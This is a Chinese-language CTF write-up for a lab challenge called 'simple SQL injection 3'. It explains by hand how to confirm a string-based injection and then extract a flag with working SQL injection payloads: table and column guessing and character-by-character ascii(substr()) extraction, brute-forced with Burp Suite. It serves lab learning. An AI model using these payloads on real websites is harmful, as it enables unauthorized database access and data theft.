这道题不是考工具使用,我们要练习手工注入…….
![](https://i-blog.csdnimg.cn/blog_migrate/d334669ddf5e1f5215d652cb9c015bc5.png)
题目:简单的sql注入之3
地址:http://www.shiyanbar.com/ctf/1909
![](https://i-blog.csdnimg.cn/blog_migrate/46e15d9b2966877a5e889ceaf0de02e0.png)
没有手工注入的小伙伴们看看了,跟着daoskc的思路一起学习下。
本文的手工的暴力猜解都由BurpSuite完成
首先先作判断:
正常情况下输入?id=1,页面正常输出hello,?id=0页面不输出
输入?id=’页面直接报SQL语法错误
输入?id=1 and 1=2页面正常 ?id=1' and '1'='2 页面无输出
可以看出,这个是字符型SQL注入,未过滤引号和and,条件正确的情况下输出hello,错误无输出,比起SQL盲注,好像又多了语法报错
猜解表
?id=1' and(select count(*) from 表名)>0 %23
表名不存在时,报错
Warning: mysql_fetch_array(): supplied argument isnot a valid MySQL result resource in C:\wamp\www\web\index_3.php online 30
Table 'web10.admin' doesn't exist
可以直接将表名丢Burp里字典猜解
?id=1' and(select count(*) from flag)>0 %23
flag表存在返回hello
猜字段
?id=1'and(select 列名 from flag)>-1 %23
或?id=1'unionselect 列名 from flag %23
字段列名存在输出helo,不存在则报错,
?id=1'and(select flag from flag)>-1 %23,页面输出hello
猜解字符
?id=1'andascii(substr((select flag from flag),2,1))=107%23
直接将字符位置,和ASCII码放Burp Suite里面猜解
位置从0到35(实际26位),ASCII码从30到127
按字符次序整理下,直接在BurpSuite下解码
即可得FLAG
也可以放PANGOLIN下直接跑(从下面输出框也可以看出,是在逐个字符猜解字符)